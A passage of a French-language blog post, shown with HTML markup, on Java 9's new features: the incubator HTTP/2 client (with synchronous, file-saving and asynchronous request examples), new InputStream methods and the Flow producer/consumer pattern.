&lt;p&gt;fins de lignes bloquants (&lt;em&gt;head of lines blocking&lt;/em&gt; )&lt;/p&gt;
&lt;p&gt;Les réponses du serveur sont reçues dans le même ordre qu&amp;rsquo;elles ont été envoyées. Avec HTTP/2, les réponses peuvent être multiplexées. S&amp;rsquo;il faut charger une grande page html contenant des images, il ne faudra plus attendre le chargement complet de la page avant le chargement des images.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;nombre de connexions réduit;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;A single-user client SHOULD NOT maintain more than 2 connections with any server or proxy. (&lt;a href="https://tools.ietf.org/html/rfc2616"&gt;RFC2616&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;les &lt;em&gt;headers&lt;/em&gt; sont toujours envoyés en texte. Avec HTTP/2, certains &lt;em&gt;headers&lt;/em&gt; seront envoyés en binaire plutôt qu&amp;rsquo;en texte quand l&amp;rsquo;efficacité le demande;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;HTTP/2 nous promet (voir &lt;a href="https://www.mnot.net/blog/2014/01/30/http2_expectations"&gt;cette note de blog (en)&lt;/a&gt;); la même API (&lt;em&gt;same API&lt;/em&gt;), des requêtes moins couteuses (&lt;em&gt;cheaper requests&lt;/em&gt;), un réseau plus convivial limitant les connexions (&lt;em&gt;network and server friendliness&lt;/em&gt;), &lt;em&gt;cache pushing&lt;/em&gt; (le serveur est capable de fournir des données sans requêtes du client), avec les connexions persistantes, le développeur pourra concevoir son application différemment (&lt;em&gt;change your mind&lt;/em&gt;) et plus de chiffrement (&lt;em&gt;more encryption&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;API fournit trois classes; &lt;code&gt;HTTPClient&lt;/code&gt;, &lt;code&gt;HTTPRequest&lt;/code&gt; et &lt;code&gt;HTTPResponse&lt;/code&gt;. Ces classes permettent d&amp;rsquo;instancier un client, de formuler une requête et d&amp;rsquo;attendre une réponse. Facile. Faire une requête d&amp;rsquo;une page se fait avec un code à l&amp;rsquo;allure suivante (&lt;a href="https://labs.consol.de/development/2017/03/14/getting-started-with-java9-httpclient.html"&gt;source&lt;/a&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newBuilder&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Version&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;HTTP_2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HttpRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpRequest&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newBuilder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;URI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://pit.namok.be&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HttpResponse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BodyHandler&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asString&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;statusCode&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Les classes &lt;code&gt;HttpClient&lt;/code&gt; et &lt;code&gt;HttpRequest&lt;/code&gt; ont une méthode &lt;code&gt;newBuilder&lt;/code&gt; acceptant toute une série de paramètres (version…) qu&amp;rsquo;il suffit de chainer avant d&amp;rsquo;appeler la méthode &lt;code&gt;build&lt;/code&gt; qui construira l&amp;rsquo;objet.&lt;/p&gt;
&lt;p&gt;Faire une requête &lt;em&gt;https&lt;/em&gt; est aussi simple que l&amp;rsquo;ajout d&amp;rsquo;un &lt;strong&gt;s&lt;/strong&gt; dans l&amp;rsquo;url.&lt;/p&gt;
&lt;p&gt;Pour stocker le résultat de la requête dans un fichier il faudra le signaler via le paramètre &lt;em&gt;BodyHandler&lt;/em&gt;. &lt;code&gt;BodyHandler.asFile(…)&lt;/code&gt;. Par exemple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newBuilder&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Version&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;HTTP_2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HttpRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpRequest&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newBuilder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;URI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://pit.namok.be&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tempFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Files&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;createTempFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http2-test&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;.html&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HttpResponse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;HttpResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BodyHandler&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tempFile&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;statusCode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le dernier exemple montre comment faire une requête asynchrone cette fois. En utilisant les &lt;em&gt;lambdas&lt;/em&gt;, c&amp;rsquo;est impressionnant comme c&amp;rsquo;est facile à écrire.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newBuilder&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Version&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;HTTP_2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HttpRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpRequest&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newBuilder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;URI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://pit.namok.be&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tempFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Files&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;createTempFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http2-test&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;.html&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CompletableFuture&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;futureResponse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendAsync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;HttpResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BodyHandler&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tempFile&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;orTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TimeUnit&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MILLISECONDS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;whenComplete&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Callback status %d %s\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;statusCode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exceptionally&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Exceptionally %s\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getClass&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;futureResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;URISyntaxException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Notez que le client HTTP est un « module incubateur » (&lt;em&gt;incubator module&lt;/em&gt;). Ce qui signifie que:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;le module est appelé &lt;code&gt;jdk.incubator.httpclient&lt;/code&gt; et les classes &lt;code&gt;jdk.incubator&lt;/code&gt; &lt;code&gt;.http.Http*&lt;/code&gt;. Ce module doit être ajouté par le biais d&amp;rsquo;un fichier &lt;code&gt;module-info&lt;/code&gt; qui aura la forme suivante:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;module&lt;/span&gt; &lt;span class="nc"&gt;pbt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;trys&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;requires&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jdk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;incubator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;httpclient&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;les classes qui incubent ne se trouveront pas dans Java 10 et peuvent être modifiées. Dans ce cas précis, le module s&amp;rsquo;appellera &lt;code&gt;java.httpclient&lt;/code&gt; et les classes (probablement) &lt;code&gt;java.http.Http*&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="stream"&gt;La classe &lt;em&gt;InputStream&lt;/em&gt; se dote également de nouvelles méthodes&lt;/h2&gt;
&lt;p&gt;Trois nouvelles méthodes utilitaires pour la classe &lt;code&gt;InputStream&lt;/code&gt;: &lt;code&gt;readAllBytes&lt;/code&gt;, &lt;code&gt;readNBytes&lt;/code&gt; et &lt;code&gt;transferTo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ces méthodes appellent peu de commentaires. Les deux premières permettent la lecture d&amp;rsquo;un ficher dans un tableau de &lt;em&gt;bytes&lt;/em&gt; et sont plutôt destinées aux petits fichiers et la dernière sert à envoyer directement le flux d&amp;rsquo;entrée vers un flux de sortie.&lt;/p&gt;
&lt;h2 id="flow"&gt;La classe &lt;code&gt;Flow&lt;/code&gt;, le producteur et le consommateur&lt;/h2&gt;
&lt;p&gt;Ce &lt;em&gt;design pattern&lt;/em&gt; est très simple; un producteur qui produit des tâches, un consommateur qui exécute les tâches une par une et une file d&amp;rsquo;attente dans laquelle le producteur ajoute ses tâches. Le consommateur les retire une par une. Il peut bien sûr y avoir plusieurs producteurs et plusieurs consommateurs.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est la gestion de la file d&amp;rsquo;attente qui doit être soignée. Elle est en forte concurrence d&amp;rsquo;accès. Actuellement, si je devais coder ce &lt;em&gt;design&lt;/em&gt;, je mettrais l&amp;rsquo;accès à la file d&amp;rsquo;attente en section critique (via un &lt;em&gt;synchronized&lt;/em&gt;, ou en utilisant une &lt;code&gt;BlockingQueue&lt;/code&gt;).&lt;/p&gt;
